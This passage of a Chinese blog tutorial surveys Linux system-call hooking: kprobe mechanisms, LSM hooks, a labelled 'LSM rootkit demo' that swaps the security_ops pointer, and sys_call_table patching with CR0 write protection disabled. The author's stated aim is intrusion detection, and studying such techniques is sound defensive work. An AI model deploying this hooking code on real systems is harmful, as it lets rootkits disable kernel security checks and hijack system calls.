//get symbol name by "kprobe.addr" //when register a kprobe on succefully return,the structure of kprobe save the symbol address at "kprobe.addr" //just return this value static void* aquire_symbol_by_kprobe(char* symbol_name) {void *symbol_addr=NULL;struct kprobe kp;do{memset(&kp,0,sizeof(kp));kp.symbol_name=symbol_name;kp.pre_handler=kprobe_pre;if(register_kprobe(&kp)!=0){break;}//this is the address of "symbol_name"symbol_addr=(void*)kp.addr;//now kprobe is not used any more,so unregister itunregister_kprobe(&kp);}while(false);return symbol_addr; }//調用之 tmp_lookup_func = aquire_symbol_by_kprobe("kallsyms_lookup_name");

kallsyms_lookup_name()可以用于獲取內核導出符號表中的符號地址,而sys_call_table的地址也存在于內核導出符號表中,我么可以使用kallsyms_lookup_name()獲取到sys_call_table的基地址

(void**)kallsyms_lookup_name("sys_call_table");

Relevant Link:

http://www.rootkitanalytics.com/kernelland/IDT-dev-kmem-method.php http://www.gilgalab.com.br/hacking/programming/linux/2013/01/11/Hooking-Linux-3-syscalls

0x4: 利用Linux內核機制kprobe機制(kprobes, jprobe和kretprobe)進行系統調用Hook

kprobe簡介

kprobe是一個動態地收集調試和性能信息的工具,它從Dprobe項目派生而來,它幾乎可以跟蹤任何函數或被執行的指令以及一些異步事件。它的基本工作機制是:

1. 用戶指定一個探測點,并把一個用戶定義的處理函數關聯到該探測點 2. 在注冊探測點的時候,對被探測函數的指令碼進行替換,替換為int 3的指令碼 3. 在執行int 3的異常執行中,通過通知鏈的方式調用kprobe的異常處理函數 4. 在kprobe的異常出來函數中,判斷是否存在pre_handler鉤子,存在則執行 5. 執行完后,準備進入單步調試,通過設置EFLAGS中的TF標志位,并且把異常返回的地址修改為保存的原指令碼 6. 代碼返回,執行原有指令,執行結束后觸發單步異常 7. 在單步異常的處理中,清除單步標志,執行post_handler流程,并最終返回

從原理上來說,kprobe的這種機制屬于系統提供的"回調訂閱",和netfilter是類似的,linux內核通過在某些代碼執行流程中給出回調函數接口供程序員訂閱,內核開發人員可以在這些回調點上注冊(訂閱)自定義的處理函數,同時還可以獲取到相應的狀態信息,方便進行過濾、分析
kprobe實現了三種類型的探測點:

1. kprobes kprobes是可以被插入到內核的任何指令位置的探測點,kprobe允許在同一地址注冊多個kprobes,但是不能同時在該地址上有多個jprobes2. jprobe jprobe則只能被插入到一個內核函數的入口3. kretprobe(也叫返回探測點) 而kretprobe則是在指定的內核函數返回時才被執行

在本文中,我們可以使用kprobe的程序實現作一個內核模塊,模塊的初始化函數來負責安裝探測點,退出函數卸載那些被安裝的探測點。kprobe提供了接口函數(APIs)來安裝或卸載探測點。目前kprobe支持如下架構:i386、x86_64、ppc64、ia64(不支持對slot1指令的探測)、sparc64 (返回探測還沒有實現)
kprobe實現原理

值得注意的是,這位說的kprobe指的是kprobe機制,它由kprobes, jprobe和kretprobe三種技術共同組成

1. kprobes

/* kprobes執行流程 */ 1. 當安裝一個kprobes探測點時,kprobe首先備份被探測的指令 2. 使用斷點指令(int 3指令)來取代被探測指令的頭一個或幾個字節(這點和OD很像) 3. CPU執行到探測點時,將因運行斷點指令而執行trap操作,那將導致保存CPU的寄存器,調用相應的trap處理函數 4. trap處理函數將調用相應的notifier_call_chain(內核中一種異步工作機制)中注冊的所有notifier函數 5. kprobe正是通過向trap對應的notifier_call_chain注冊關聯到探測點的處理函數來實現探測處理的 6. 當kprobe注冊的notifier被執行時6.1 它首先執行關聯到探測點的pre_handler函數,并把相應的kprobe struct和保存的寄存器作為該函數的參數6.2 然后,kprobe單步執行被探測指令的備份(原始函數)6.3 最后,kprobe執行post_handler 7. 等所有這些運行完畢后,緊跟在被探測指令后的指令流將被正常執行

在使用kprobes技術進行編程的時候,基本代碼框架如下

#include linux/kprobes.h ... /* 探測點處理函數pre_handler的原型如下 用戶必須按照該原型參數格式定義自己的pre_handler(函數名可以任意定)1) 參數p就是指向該處理函數關聯到的kprobes探測點的指針,可以在該函數內部引用該結構的任何字段,就如同在使用調用register_kprobe時傳遞的那個參數2) 參數regs指向運行到探測點時保存的寄存器內容 kprobe負責在調用pre_handler時會自動傳遞這些參數,用戶不必關心,只是要知道在該函數內你能訪問這些內容 */ int pre_handler(struct kprobe *p, struct pt_regs *regs);/* 探測點處理函數post_handler的原型如下1) 參數p與pre_handler相同2) 參數regs與pre_handler相同3) 參數flags最后一個參數flags總是0。 */ void post_handler(struct kprobe *p, struct pt_regs *regs, unsigned long flags);/* 錯誤處理函數fault_handler的原刑如下1) 參數p與pre_handler相同2) 參數regs與pre_handler相同3) trapnrtrapnr是與錯誤處理相關的架構依賴的trap號(例如,對于i386,通常的保護錯誤是13,而頁失效錯誤是14) 如果成功地處理了異常,它應當返回1 */ int fault_handler(struct kprobe *p, struct pt_regs *regs, int trapnr);/* 值得注意的是: 在注冊kprobes之前,程序員必須先設置好struct kprobe的這些字段(包括各個回調函數) 注冊一個kprobes類型的探測點,其函數原型為 params: struct kprobe類型的指針 struct kprobe {struct hlist_node hlist; /* list of kprobes for multi-handler support */struct list_head list; /*count the number of times this probe was temporarily disarmed */unsigned long nmissed; /* location of the probe point */kprobe_opcode_t *addr; /* Allow user to indicate symbol name of the probe point(如果在不知道需要監控的系統調用的地址的情況下,可以直接通過內核導出符號連接指定監控點)*/const char *symbol_name;/* Offset into the symbol */unsigned int offset;/* Called before addr is executed. */kprobe_pre_handler_t pre_handler;/* Called after addr is executed, unless... */kprobe_post_handler_t post_handler;/*called if executing addr causes a fault (eg. page fault).Return 1 if it handled fault, otherwise kernel will see it.*/kprobe_fault_handler_t fault_handler;/*called if breakpoint trap occurs in probe handler.Return 1 if it handled break, otherwise kernel will see it.*/kprobe_break_handler_t break_handler;/* Saved opcode (which has been replaced with breakpoint) */kprobe_opcode_t opcode;/* copy of the original instruction */struct arch_specific_insn ainsn;/*Indicates various status flags.Protected by kprobe_mutex after this kprobe is registered.*/u32 flags; }; */ int register_kprobe(struct kprobe *kp);

整個編碼順序為:

聲明pre_handler()->聲明post_handler()->聲明fault_handler()->設置struct kprobe->調用register_kprobe()進行內核回調機制注冊

注冊了回調函數之后,我們就相當于劫持了指定的內核系統調用函數,則新的系統調用執行流程為:

pre_handler->被Hook原函數->post_handler

2. jprobe

值得注意的是,jprobe是建立在kprobes的基礎上的監控機制,jprobe對kprobes的代碼進行了封裝,簡化了編程的同時,還將接口變得更加"干凈",我們在jprobe的回調處理函數中看到的所有參數都和原始內核系統調用的原始函數的參數一模一樣,從某種程序上來說,jprobe比kprobes更加"好用"(前提是你僅僅想hook系統調用)

/* jprobe執行流程 */ 1. jprobe通過注冊kprobes在被探測函數入口的來實現,它能無縫地訪問被探測函數的參數 2. jprobe處理函數應當和被探測函數有同樣的原型,而且該處理函數在函數末必須調用kprobe提供的函數jprobe_return() 3. 當執行到該探測點時,kprobe備份CPU寄存器和棧的一些部分,然后修改指令寄存器指向jprobe處理函數 4. 當執行該jprobe處理函數時,寄存器和棧內容與執行真正的被探測函數一模一樣,因此它不需要任何特別的處理就能訪問函數參數, 在該處理函數執行到最后
時,它調用jprobe_return(),那導致寄存器和?;謴偷綀绦刑綔y點時的狀態,因此被探測函數能被正常運行
5. 需要注意,被探測函數的參數可能通過棧傳遞,也可能通過寄存器傳遞,但是jprobe對于兩種情況都能工作,因為它既備份了棧,又備份了寄存器,當然,前提是jprobe處理函數原型必須與被探測函數完全一樣

在使用jprobe技術進行編程的時候,基本代碼框架如下

#include linux/kprobes.h ... /* .. 聲明entry中指定的探測點的處理回調函數
該處理函數的參數表和返回類型應當與被探測函數完全相同(重要)
聲明kp中指定的錯誤處理函數 ..
*//* register_jprobe()函數用于注冊jprobes類型的探測點,它的原型如下: struct jprobe { /* 對于jprobe技術來說,我們在struct kprobe里面設置:
    1) kp.addr: 指定探測點的位置(即你要hook的點)
?? ??? 2) kp.symbol_name: 直接指定探測點的導出名
?? ??? 3) kp.fault_handler: 指定監控出錯時的處理函數
*/struct kprobe kp;/* probe handling code to jump to entry指定探測點的處理回調函數1) 該處理函數的參數表和返回類型應當與被探測函數完全相同2) 而且它必須正好在返回前調用jprobe_return()*/kprobe_opcode_t *entry; }; */ int register_jprobe(struct jprobe *jp);

整個編碼順序為:

聲明注冊回調函數()->聲明出錯處理函數()->設置struct jprobe->調用register_jprobe()進行內核回調機制注冊

注冊了回調函數之后,我們就相當于劫持了指定的內核系統調用函數,則新的系統調用執行流程為:

注冊回調劫持函數->jprobe_return()恢復現場->被Hook原函數

3. kretprobe

/* kretprobe執行流程 */ 1. kretprobe也使用了kprobes來實現2 2. 當用戶調用register_kretprobe()時,kprobe在被探測函數的入口建立了一個探測點 3. 當執行到探測點時,kprobe保存了被探測函數的返回地址并取代返回地址為一個trampoline的地址,kprobe在初始化時定義了該trampoline并且為該
trampoline注冊了一個kprobe
4. 當被探測函數執行它的返回指令時,控制傳遞到該trampoline,因此kprobe已經注冊的對應于trampoline的處理函數將被執行,而該處理函數會調用用戶
關聯到該kretprobe上的處理函數
5. 處理完畢后,設置指令寄存器指向已經備份的函數返回地址,因而原來的函數返回被正常執行。 6. 被探測函數的返回地址保存在類型為kretprobe_instance的變量中,結構kretprobe的maxactive字段指定了被探測函數可以被同時探測的實例數 7. 函數register_kretprobe()將預分配指定數量的kretprobe_instance:7.1 如果被探測函數是非遞歸的并且調用時已經保持了自旋鎖(spinlock),那么maxactive為1就足夠了7.2 如果被探測函數是非遞歸的且運行時是搶占失效的,那么maxactive為NR_CPUS就可以了7.3 如果maxactive被設置為小于等于0, 它被設置到缺省值(如果搶占使能, 即配置了 CONFIG_PREEMPT,缺省值為10和2*NR_CPUS中的最大值,否則
缺省值為NR_CPUS)
7.4 如果maxactive被設置的太小了,一些探測點的執行可能被丟失,但是不影響系統的正常運行,在結構kretprobe中nmissed字段將記錄被丟失的探測
點執行數,它在返回探測點被注冊時設置為0,每次當執行探測函數而沒有kretprobe_instance可用時,它就加1

在使用kretprobe技術進行編程的時候,基本代碼框架如下

#include linux/kprobes.h .. /* kretprobe_handler是kretprobe機制下的回調處理函數,它的原型如下: param:1) kretprobe_instance ri指向類型為struct kretprobe_instance的變量struct kretprobe_instance {struct hlist_node hlist;struct kretprobe *rp; //指向相應的kretprobe_instance變量(就是我們在register_kretprobe時傳入的參數) kprobe_opcode_t *ret_addr; //返回地址struct task_struct *task; //指向相應的task_structchar data[0];}; 結構struct kretprobe_instance是注冊函數register_kretprobe根據用戶指定的maxactive值來分配的,kprobe負責在調用kretprobe處理函數時傳遞相應的kretprobe_instance2) 參數regs指向保存的寄存器 */ int kretprobe_handler(struct kretprobe_instance *ri, struct pt_regs *regs);/* .. 聲明錯誤處理函數 .. *//* 該函數用于注冊類型為kretprobes的探測點,它的原型如下: param:1) struct kretprobe rpstruct kretprobe {/*kretprobe同樣是復用了kprobes的機制和jprobe一樣,一般情況下,我們需要在kp中設置:1) kp.addr: 指定探測點的位置(即你要hook的點)2) kp.symbol_name: 直接指定探測點的導出名3) kp.fault_handler: 指定監控出錯時的處理函數*/struct kprobe kp; //注冊的回調函數,handler指定探測點的處理函數 kretprobe_handler_t handler;//注冊的預處理回調函數,類似于kprobes中的pre_handler() kretprobe_handler_t entry_handler; //maxactive指定可以同時運行的最大處理函數實例數,它應當被恰當設置,否則可能丟失探測點的某些運行int maxactive; int nmissed;//指示kretprobe需要為回調監控預留多少內存空間 size_t data_size;struct hlist_head free_instances;raw_spinlock_t lock;}; 該注冊函數在地址rp->kp.addr注冊一個kretprobe類型的探測點,當被探測函數返回時,rp->handler會被調用 如果成功,它返回0,否則返回負的錯誤碼 */ int register_kretprobe(struct kretprobe *rp);

整個編碼順序為:

聲明kretprobe_handler()->聲明出錯處理函數()->設置struct kretprobe->調用register_kretprobe()進行內核回調機制注冊

注冊了回調函數之后,我們就相當于劫持了指定的內核系統調用函數,則新的系統調用執行流程為:

被Hook原函數會照常先執行->當原始函數的返回點位置會執行一次我們注冊的kretprobe_handler()->恢復現場繼續原始的系統調用

了解了kprobe的基本原理之后,我們要回到我們本文的主題,系統調用的Hook上來,由于kprobe是linux提供的穩定的回調注冊機制,linux天生就穩定地支持在我們指定的某個函數的執行流上進行注冊回調,我們很方便地使用它來進行系統調用(例如sys_execv()、網絡連接等)的執行Hook,從而劫持linux系統的系統調用流程,為下一步的惡意入侵行為分析作準備

下面我們分別學習kprobe的3種機制: kprobes、jprobe、kretprobe

kprobes編程示例

do_fork.c

/** * You will see the trace data in /var/log/messages and on the console* * whenever do_fork() is invoked to create a new process.* */#include <linux/kernel.h> #include <linux/module.h> #include <linux/kprobes.h>//定義要Hook的函數,本例中do_fork static struct kprobe kp = {.symbol_name = "do_fork", };static int handler_pre(struct kprobe *p, struct pt_regs *regs) {struct thread_info *thread = current_thread_info();printk(KERN_INFO "pre-handler thread info: flags = %x, status = %d, cpu = %d, task->pid = %d\n",thread->flags, thread->status, thread->cpu, thread->task->pid);return 0; }static void handler_post(struct kprobe *p, struct pt_regs *regs, unsigned long flags) { struct thread_info *thread = current_thread_info();printk(KERN_INFO "post-handler thread info: flags = %x, status = %d, cpu = %d, task->pid = %d\n",thread->flags, thread->status, thread->cpu, thread->task->pid); }static int handler_fault(struct kprobe *p, struct pt_regs *regs, int trapnr) {printk(KERN_INFO "fault_handler: p->addr = 0x%p, trap #%dn",p->addr, trapnr);return 0; }/* 內核模塊加載初始化,這個過程和windows下的內核驅動注冊分發例程很類似 */ static int __init kprobe_init(void) {int ret;kp.pre_handler = handler_pre;kp.post_handler = handler_post;kp.fault_handler = handler_fault;ret = register_kprobe(&kp);if (ret < 0) {printk(KERN_INFO "register_kprobe failed, returned %d\n", ret);return ret;}printk(KERN_INFO "Planted kprobe at %p\n", kp.addr);return 0; }static void __exit kprobe_exit(void) {unregister_kprobe(&kp);printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr); }module_init(kprobe_init) module_exit(kprobe_exit) MODULE_LICENSE("GPL");

Makefile

obj-m := do_fork.o

編譯:

make -C /usr/src/kernels/2.6.32-358.el6.i686 M=$(pwd) modules

加載內核模塊:

insmod do_fork.ko

測試效果:

dmesg| tail

cat /proc/kallsyms | grep do_fork

do_fork的地址與kprobe注冊的地址一致,可見,在kprobe調試模塊在內核停留期間,我們編寫的內核監控模塊劫持并記錄了系統fork出了新的進程信息

jprobe編程示例?

kretprobe編程示例??

Relevant Link:

http://m.blog.csdn.net/blog/panfengyun12345/19480567 http://www.redhat.com/magazine/005mar05/features/kprobes/ http://www.ibm.com/developerworks/library/l-kprobes/index.html http://lwn.net/Articles/132196/ https://www.kernel.org/doc/Documentation/kprobes.txt

0x5:?LSM(linux security module) Security鉤子技術(linux原生機制)

Linux安全模塊(LSM)是Linux內核的一個輕量級通用訪問控制框架。它使得各種不同的安全訪問控制模型能夠以Linux可加載內核模塊的形式實現出來,用戶可以根據其需求選擇適合的安全模塊加載到Linux內核中,從而大大提高了Linux安全訪問控制機制的靈活性和易用性
目前已經有很多著名的增強訪問控制系統移植到Linux安全模塊(LSM)上實現,包括

1. POSIX.1e capabilities 2. 安全增強Linux(SELinux) 3. 域和類型增強(DTE) 4. Linux入侵檢測系統(LIDS) ..

Linux安全模塊(LSM)有如下特點

1. 真正的通用,當使用一個不同的安全模型的時候,只需要加載一個不同的內核模塊 2. 概念上簡單,對Linux內核影響最小,高效,并且能夠支持現存的POSIX.1e capabilities邏輯,作為一個可選的安全模塊 3. 能夠允許他們以可加載內核模塊的形式重新實現其安全功能,并且不會在安全性方面帶來明顯的損失,也不會帶來額外的系統開銷

為了滿足這些設計目標,Linux安全模塊(LSM)采用了通過在內核源代碼中放置鉤子的方法,來"仲裁"對內核內部對象進行的訪問,這些對象有

1. 任務 2. inode結點 3. 打開的文件 4. 用戶進程執行系統調用 5. api的監控 6. 進程/進程間通訊 7. 網絡系統 ..

在LSM機制,Linux執行系統調用的流程如下

1. 用戶進程執行系統調用2. 首先遍歷Linux內核原有的邏輯找到并分配資源,進行錯誤檢查,并經過經典的UNIX自主訪問控制3. 恰好就在Linux內核試圖對內部對象進行訪問之前,一個Linux安全模塊(LSM)的鉤子對安全模塊所必須提供的函數進行一個調用 (一個Hook的過程)4. 從而對安全模塊提出這樣的問題"是否允許訪問執行?"5. 安全模塊根據其安全策略進行決策,作出回答:允許,或者拒絕進而返回一個錯誤 值得注意的是: Linux安全模塊(LSM)目前作為一個Linux內核補丁的形式實現。其本身不提供任何具體的安全策略,而是提供了一個通用的基礎體系給安全模塊,由安全模塊來實現具體的安全策略(即安全控制的決策算法由程序員自己來指定)6. 通過LSM決策流程之后,原始的系統調用程序流將繼續執行

LSM主要在五個方面對Linux內核進行了修改

1. 在特定的內核數據結構中加入了安全域 安全域是一個void*類型的指針,它使得安全模塊把安全信息和內核內部對象聯系起來。下面列出被修改加入了安全域的內核數據結構,以及各自所代表的內核內部對象:1) task_struct結構: 任務(進程)2) linux_binprm結構: 程序3) super_block結構: 文件系統4) inode結構: 管道、文件、Socket套接字5) file結構:打開的文件6) sk_buff結構: 網絡緩沖區(包)7) net_device結構: 網絡設備8) kern_ipc_perm結構: Semaphore信號、共享內存段、消息隊列9) msg_msg: 單個的消息2. 在內核源代碼中不同的關鍵點插入了對安全鉤子函數的調用 Linux安全模塊(LSM)提供了兩類對安全鉤子函數的調用1) 管理內核對象的安全域2) 仲裁對這些內核對象的訪問 對安全鉤子函數的調用通過鉤子來實現,鉤子是全局表security_ops中的函數指針,這個全局表的類型是security_operations結構 \linux-2.6.32.63\include\linux\security.h 關于struct security_operations的相關知識,請參閱另一篇文章 http://i.cnblogs.com/EditPosts.aspx?postid=3865490 (搜索0x1: struct security_operations)3. 加入了一個通用的安全系統調用 Linux安全模塊(LSM)提供了一個通用的安全系統調用,允許安全模塊為安全相關的應用編寫新的系統調用,其風格類似于原有的Linux系統調用socketcall(),是一個多路的系統調用 這個系統調用為security(),其參數為(unsigned int id, unsigned int call, unsigned long *args)1) id代表模塊描述符2) call代表調用描述符3) args代表參數列表 這個系統調用缺省的提供了一個sys_security()入口函數:其簡單的以參數調用sys_security()鉤子函數。如果安全模塊不提供新的系統調用,就可以定義返回-ENOSYS的sys_security()鉤子函數,但是大多數安全模塊都可以自己
定義這個系統調用的實現
4. 提供了函數允許內核模塊注冊為安全模塊或者注銷 在內核引導的過程中,Linux安全模塊(LSM)框架被初始化為一系列的虛擬鉤子函數,以實現傳統的UNIX超級用戶機制1) register_security()當加載一個安全模塊時,必須使用register_security()函數向Linux安全模塊(LSM)框架注冊這個安全模塊1.1) 這個函數將設置全局表security_ops,使其指向這個安全模塊的鉤子函數指針1.2) 從而使內核向這個安全模塊詢問訪問控制決策 2) unregister_security()一旦一個安全模塊被加載,就成為系統的安全策略決策中心,而不會被后面的register_security()函數覆蓋,直到這個安全模塊被使用unregister_security()函數向框架注銷:2.1) 這簡單的將鉤子函數替換為缺省值2.2) 系統回到UNIX超級用戶機制 5. 將capabilities邏輯的大部分移植為一個可選的安全模塊 Linux內核現在對POSIX.1e capabilities的一個子集提供支持。Linux安全模塊(LSM)設計的一個需求就是把這個功能移植為一個可選的安全模塊。POSIX.1e capabilities提供了劃分傳統超級用戶特權并賦給特定的進程的功能

code

#include <linux/security.h> #include <linux/sysctl.h> #include <linux/ptrace.h> #include <linux/prctl.h> #include <linux/ratelimit.h> #include <linux/workqueue.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/dcache.h> #include <linux/path.h>int test_file_permission(struct file *file, int mask) {char *name = file->f_path.dentry->d_name.name;if(!strcmp(name, "test.txt")){file->f_flags |= O_RDONLY;printk("you can have your control code here!\n");}return 0; } /* 一般的做法是:定義你自己的struct security_operations,實現你自己的hook函數,具體有哪些hook函數可以查詢 include/linux/security.h文件 */ static struct security_operations test_security_ops = {.name = "test", .file_permission = test_file_permission, };static __init int test_init(void) {printk("enter test init!\n"); printk(KERN_INFO "Test: becoming......\n")//調用register_security來用你的test_security_ops初始化全局的security_ops指針if (register_security(&test_security_ops)){panic("Test: kernel registration failed.\n");} return 0; } security_initcall(test_init);

將該文件以模塊的形式放到security/下編譯進內核,啟用新的內核后,當你操作文件test.txt時,通過dmesg命令就能再終端看到"you can have your control code here!"

Relevant Link:

http://blog.aliyun.com/948 http://www.cnblogs.com/cslunatic/p/3709356.html http://www.ibm.com/developerworks/cn/linux/l-lsm/part1/ http://blog.sina.com.cn/s/blog_858820890101eb3c.html http://www.ubuntukylin.com/ukylin/forum.php?mod=viewthread&tid=3048

0x6: LSM Function Replace Hook劫持技術

LSM模塊在所有驗證函數中都調用了security_ops的函數指針
如sys_mmap函數:

.. error = security_file_mmap(file, reqprot, prot, flags); ... static inline int security_file_mmap (struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags) {return security_ops->file_mmap (file, reqprot, prot, flags); }

這樣, security_ops被定義為一個全局變量的話, rootkit很容易就可以將security_ops變量導出,然后替換為自己的fake函數,LSM框架很容易就被摧毀掉

code

#include #include #include #include #include #include #includeMODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt");extern struct security_operations *security_ops; struct security_operations *fake_security_ops;int fake_file_mmap(struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags) {printk("in fake_file_mmap.\n"); return 0; }static int rootkit_init(void) {printk("loading LSM rootkit demo module.\n");fake_security_ops = security_ops;printk("orig file_mmap address: 0xx, 0xx\n", (unsigned int)fake_security_ops->file_mmap, (unsigned int)security_ops->file_mmap);fake_security_ops->file_mmap = fake_file_mmap;security_ops = fake_security_ops;printk("new file_mmap address: 0xx, 0xx\n", (unsigned int)fake_security_ops->file_mmap, (unsigned int)security_ops->file_mmap);security_ops->file_mmap(NULL, 0, 0, 0);return 0; }static void rootkit_exit(void) {printk("unload LSM rootkit demo module.\n"); }module_init(rootkit_init); module_exit(rootkit_exit);

Relevant Link:

http://blog.sina.com.cn/s/blog_858820890101eb3c.html

0x7: int 80中斷劫持技術

傳統的hook劫持方法通過替換sys_call_table[]數組中的函數地址,來截獲系統調用,但是如果要監控所有的API, 那么需要重新編寫所有API的替代函數(需要為每一個Hook單獨編寫一個hooded_handler函數),而linux kernel 2.6.18中大概有300多個系統調用函數
為了解決這個問題,我們可以通過這樣一種思維模式模式去思考

1. 如果你需要劫持的控制流是"多路"的,除了分別對"每一路"進行hook之外,還可以將hook點"上移" 2. 即找到所有系統調用的總的調度的入口點,在一個控制流相對較集中的節點位置部署hook邏輯 3. 這也是一種底層統一防御的思想(在cms的漏洞防御中也可以得到應用)

關于int 80中斷劫持的相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/3879961.html (搜索: void set_idt_handler(void *system_call))

0x8: 利用從PAGE_OFFSET起始位置搜索特征碼劫持system_call_sys_call_table進行系統調用hook

和通過int 0x80中斷獲取sys_call_table的方法類似,這種技術的區別是獲取sys_call_table的方式不同,而針對sys_call_table進行replace hook才是關鍵點

#include <linux/sched.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/fs.h> #include <linux/file.h> #include <linux/kallsyms.h> #include <linux/syscalls.h> #include <asm/unistd.h>MODULE_AUTHOR("test"); MODULE_DESCRIPTION("test"); MODULE_LICENSE("GPL");typedef asmlinkage int (*mkdir_t)(const char* name); typedef asmlinkage int (*open_t)(const char *filename, int flags, int mode); void** sys_call_table = NULL; asmlinkage open_t old_open_func=NULL; asmlinkage mkdir_t old_mkdir_func=NULL;static int wpoff_cr0(void) {unsigned int cr0 = 0;unsigned int ret;asm volatile ("movl %%cr0, %%eax":"=a"(cr0)); //匯編代碼,用于取出CR0寄存器的值ret = cr0;cr0 &= 0xfffeffff; asm volatile ("movl %%eax, %%cr0": :"a"(cr0));//匯編代碼,將修改后的CR0值寫入CR0寄存器return ret; }/*改回原CR0寄存器的值*/ static void set_cr0(int val) {asm volatile ("movl %%eax, %%cr0": :"a"(val)); return; }asmlinkage int fake_sys_mkdir(const char *name) {printk("sys_mkdir(%s)\n",name);if(old_mkdir_func){if(strstr(name,"test_zr")) {return -1;}else{return old_mkdir_func(name);}}return -1; }asmlinkage long fake_sys_open(const char *filename, int flags, int mode) {printk("sys_open(%s)\n",filename);if(old_open_func){if(strstr(filename,"test_zr")) {return -1;}else{return old_open_func(filename,flags,mode);}}return -1; }static void* aquire_sys_call_table(void* start_addr) {unsigned long int offset = 0;unsigned long int end = VMALLOC_START < ULLONG_MAX ? VMALLOC_START : ULLONG_MAX;void *table_addr=NULL;void** tmp_table=NULL;*(void**)&offset = start_addr;while (offset < end) {tmp_table=(void**)offset;if (tmp_table[__NR_close] == (void*)sys_close) {table_addr=(void*)tmp_table;break;}offset += sizeof(void *);}return table_addr; }static int patch_init(void) {int ret=0;//sys_call_table=(void**)kallsyms_lookup_name("sys_call_table");//get_sysentry_addr();sys_call_table=(void**)aquire_sys_call_table((void*)PAGE_OFFSET);printk("sys_call_table addr:%p\n",sys_call_table);if(sys_call_table){int cr0 = 0;old_open_func=(open_t)sys_call_table[__NR_open];old_mkdir_func=(mkdir_t)sys_call_table[__NR_mkdir];if(!old_open_func || ((int)old_open_func % sizeof(void*))){printk("!sys_open\n");ret=-1;}else{cr0=wpoff_cr0();sys_call_table[__NR_open]=(open_t)fake_sys_open;sys_call_table[__NR_mkdir]=(mkdir_t)fake_sys_mkdir;set_cr0(cr0);printk(KERN_ALERT "sys_open is patched!\n");}}else{printk("no sys call table found\n");ret=-1;}return ret; } static void patch_cleanup(void) {if(sys_call_table[__NR_open]==fake_sys_open){int cr0 = 0;cr0=wpoff_cr0();sys_call_table[__NR_open]=old_open_func;set_cr0(cr0);printk(KERN_ALERT "sys_open is unpatched!\n");}if(sys_call_table[__NR_mkdir]==fake_sys_mkdir){int cr0 = 0;cr0=wpoff_cr0();sys_call_table[__NR_mkdir]=old_mkdir_func;set_cr0(cr0);printk(KERN_ALERT "sys_mkdir is unpatched!\n");} } module_init(patch_init); module_exit(patch_cleanup);

使用sys_call_table replace hook的技術方案,需要特別注意的技術點是

1. 要保證replace hook的動作的原子性,即要避免sys_call_table被替換了,但是對應的hook_function沒有裝載到位,這個時候用戶態發起的系統調用就會掉入一個無效內存地址 //linux的LKM模塊加載機制會保證這一點,在執行init_module函數之前,linux lkm loader已經將lkm中用到的函數加載到了內核內存中了2. 在執行rmmod模塊的時候,需要將之前被replace hook的sys_call_table的函數指針替換回來,保證系統替換前后的狀態一致性3. sys_call_table在恢復hook的時候需要使用"引用計數",因為這個時候有可能有其他的進程是通過被我們劫持后的fake_function流程進入內核原始系統調用的,這些系統調用例如sys_socketcall的select動作,是一個阻塞型的系統調用,用戶態會一直阻塞等待這次系統調用的返回,如果我們不等到引用計數降到0(即沒人在使用)之后,而是采取直接卸載模塊,會導致那些系統調用返回后,回到一個被釋放掉的內核內存區域中 //使用"引用計數"會帶來另一個問題,系統調用中有一些例如socket select這種阻塞性的系統調用,從用戶態發起系統調用到最后從內核態返回會經歷一個很長的時間,此時模塊的引用計數會一直處于大于零的狀態,而無法卸載

為了解決這個問題,我們的內核模塊需要能夠實現以下目標

1. 模塊的sys_call_table hook能夠針對單個function hook point做細粒度的開關 2. sys_call_table hook的replace、restore動作要能夠"原子實現",保證操作系統的系統調用流能無縫的進行切換 3. 解決rmmod模塊卸載過程中的阻塞型系統調用未返回問題,使用push、ret方式構造特殊的??臻g(下面畫圖詳細說明)

0x9: Linux LSM(Linux Security Modules) Hook技術

關于LSM Hook技術,請參閱另一篇文章

?

Relevant Link:

http://www.gilgalab.com.br/hacking/programming/linux/2013/01/11/Hooking-Linux-3-syscalls/ http://blog.csdn.net/echoisland/article/details/6782711 http://gadgetweb.de/linux/40-how-to-hijacking-the-syscall-table-on http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example

?

4. 后記

Hook技術是進行主動防御、動態入侵檢測的關鍵技術,從技術上來說,目前的很多Hook技術都屬于"猥瑣流",即:

1. 通過"劫持"在關鍵流程上的某些函數的執行地址,在Hook函數執行完之后,再跳回原始的函數繼續執行(做好現場保護) 2. 或者通過dll、進程、線程注入比原始程序提前獲得CPU執行權限

但是隨著windows的PatchGuard的出現,這些出于"安全性"的內核patct將被一視同仁地看作內核完整性的威脅者

更加優美、穩定的方法應該是:

1. 注冊標準的回調方法,包括:1) 進程2) 線程3) 模塊的創建4) 卸載回調函數5) 文件/網絡等各種過濾驅動 2. 內核提供的標準處理流程Hook點1) kprobe機制 2. 網絡協議棧提供的標準Hook點1) netfilter的鏈式處理流程

?

Copyright (c) 2014 LittleHann All rights reserved

?

分類:?Linux內核好文要頂?關注我?收藏該文??騎著蝸牛逛世界
關注 - 3
粉絲 - 385+加關注50??上一篇:GCC、Makefile編程學習
??下一篇:Linux的系統調用、網絡連接狀態、磁盤I/O;可疑行為監控/日志收集、SHELL命令執行流程
posted @?2014-07-21 11:23?騎著蝸牛逛世界?閱讀(5372) 評論(7)?編輯?收藏

總結

以上是生活随笔為你收集整理的Linux系统调用Hook姿势总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。